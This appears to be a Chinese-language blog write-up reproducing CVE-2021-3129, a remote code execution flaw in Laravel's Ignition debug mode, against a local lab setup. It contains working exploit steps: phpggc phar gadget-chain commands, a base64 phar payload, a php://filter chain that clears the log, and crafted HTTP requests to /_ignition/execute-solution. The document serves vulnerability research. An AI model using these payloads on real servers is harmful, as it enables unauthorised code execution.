Laravel-debug-rce复现分析

  1. 1. 漏洞概述
  2. 2. 环境搭建
  3. 3. 漏洞分析
    1. 3.1. 调用任意soluction
    2. 3.2. MakeViewVariableOptionalSolution
  4. 4. 利用log反序列化
    1. 4.1. log清除
    2. 4.2. 写日志
    3. 4.3. 日志解码
  5. 5. 参考链接

漏洞概述

  • 漏洞编号:CVE-2021-3129

  • 影响版本 :

    Laravel 框架 < 8.4.3

    facade ignition 组件 < 2.5.2

    当Laravel开启了Debug模式时,由于Laravel自带的Ignition组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

关于Ignition 组件可以参考 : https://segmentfault.com/a/1190000020377961

可以在Laravel框架出错时提供优美的报错界面和报错信息,并对一些问题可以提供一些解决方案或者第三方解决方案 (后面搭建环境就用到了这个功能)

环境搭建

  • PHP : 7.3.4
  • Laravel : v8.44.0
1
2
3
4
5
6
git clone https://github.com/laravel/laravel.git
cd laravel
git checkout e849812
composer install
composer require facade/ignition==2.5.1
php artisan serve

然后把源码中的 .env.example 改成 .env , 框架从 .env 加载环境变量后才能正常运行,否则打开链接后是error

然后打开框架链接,点击Generate app key生成加密密钥, 这个密钥值在生产后可以在.env文件中找到

image-20210603160018536

image-20210603160146770

环境搭建over.

image-20210603160211677

漏洞分析

问题具体出现在ignition的默认Solutions, 具体在vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

调用任意soluction

.env里面的app_key删除,然后再次调用用ignition的解决方案,并抓包看一下如何调用的GenerateAppKeySolution

image-20210603165652034

在GenerateAppKeySolution的run方法下断点, 观察调用堆栈可以向上找到ExecuteSolutionController

image-20210603165855858

然后在ExecuteSolutionController重新下断点跟踪

image-20210603170155784

进入getRunnableSolution()

image-20210603170227193

再进入$this->getSoluction()

image-20210603170354965

发现会根据传的solution参数值实例化任意类,这样就可以控制调用任意soluction,
参数是通过$request->get('parameters', [])获得, 这样参数也可控

MakeViewVariableOptionalSolution

参数设置成如下值,调用MakeViewVariableOptionalSolution

1
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"viewFile": "test"}}

然后进入solution的run方法

image-20210603171705564

发现存在file_get_contents操作, 并且无过滤. 所以这里可以利用phar://协议触发反序列化达到RCE目的.

如果后期利用框架进行开发的人员,写出了一个文件上传的功能。那么我们就可以上传一个恶意phar文件,利用上述的file_get_contents()去触发phar反序列化,达到rce的效果。这种利用方式依赖laravel框架的二次开发.

如先用phpggc生成一个phar文件,手动到放到框架目录里

1
php -d'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o 1.gif

image-20210603175545781

1
2
3
4
5
6
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"viewFile": "phar://./1.gif"
}
}

image-20210603175505362

利用log反序列化

log清除

原理是file_get_contents支持php://filter参数和php://filter的一些特性

convert.base64-decode过滤器会将一些非base64字符给过滤掉后再进行decode, 所以可以通过调用多次convert.base64-decode多次触发该特性来将log清空

具体分析在: https://xz.aliyun.com/t/9030#toc-7

清空日志payload, 执行之后日志会被清除

1
2
3
4
5
6
7
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"test",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}

不带variableName参数会有warning,所以就加了一个参数

写日志

先生成payload:

1
php -d'phar.readonly=0' ./phpggc monolog/rce1 system dir --phar phar -o php://output | base64 -w0 
1
2
3
4
5
import base64
s="PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQq/AgAAAgAAABEAAAABAAAAAABoAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czozOiJkaXIiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czozOiJkaXIiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fQUAAABkdW1teQQAAACoUrNgBAAAAAx+f9ikAQAAAAAAAAgAAAB0ZXN0LnR4dAQAAACoUrNgBAAAAAx+f9ikAQAAAAAAAHRlc3R0ZXN0mU/NJc2v/6np2yRnR/eEkWAXmW0CAAAAR0JNQg=="

print(''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper())
# =50=00=44......=00

这个payload经过一系列解码后可以变成一个正常的phar文件

echo file_get_contents('php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=payload. txt');

image-20210603183421423

下面是写入日志并恢复为phar文件再利用的步骤:

日志格式:

1
[时间] [某些字符] PAYLOAD [某些字符] PAYLOAD [某些字符] 部分PAYLOAD [某些字符]

发送下面的包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8000/
Content-Type: application/json
Origin: http://127.0.0.1:8000
Content-Length: 162
Connection: close

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{
"variableName":"username","viewFile": "PAYLOADPAYLOADPAYLOADPAYLOAD"}}

日志中会有两个完整的PAYLOADPAYLOADPAYLOADPAYLOAD和一个部分的PAYLOADPAYLOADP...

日志解码

先分别按照上面三个过滤器的步骤解码:

原文件应该是这样的:

image-20210603190353783

  1. 第一次解码后: convert.quoted-printable-decode 解析 =xx 这样的字符,

    这一步也是有坑的,只是这里没遇到, 如果第三个不完整的payload 是 =或者=x 就会出错,这一步刚好是=xx

详细内容参考: https://blog.csdn.net/rfrder/article/details/117427130

image-20210603190423174

  1. 第二步解码: convert.iconv.utf-16le.utf-8

这一步有两个坑,

  • 必须保证日志全部字符内容为偶数个,( convert.iconv.utf-16le.utf-8是把两个字符变成一个字符 )

否则会报错

1
iconv stream filter (&amp;quot;utf-16le&amp;quot;=&amp;gt;&amp;quot;utf-8&amp;quot;): invalid multibyte sequence
  • payload前面是偶数个字符,否则解码得到的是乱码而不是base64

这里遇到的是偶数个字符,但是payload前面是奇数个.可以在payload前面多加一个=xx, 保证payload可以被正常解码.因为有两个payload,所以payload加一个字符不会影响全部字符奇偶数

这一步可以在payload多加一个字符来把第二个payload吃掉,最后只有一个payload会成功转换base64格式,

另外会遇到日志字符个数为奇数个的情况. 可以参考https://blog.csdn.net/rfrder/article/details/117427130, 再发送一个不带payload的请求.

  1. base64解码, 这一步没什么坑 convert.base64-decode
  2. phar反序列化phar://../storage/logs/laravel.log

image-20210603203516144

参考链接

https://xz.aliyun.com/t/9030#toc-7

https://blog.csdn.net/rfrder/article/details/117427130

https://zhuanlan.zhihu.com/p/351767398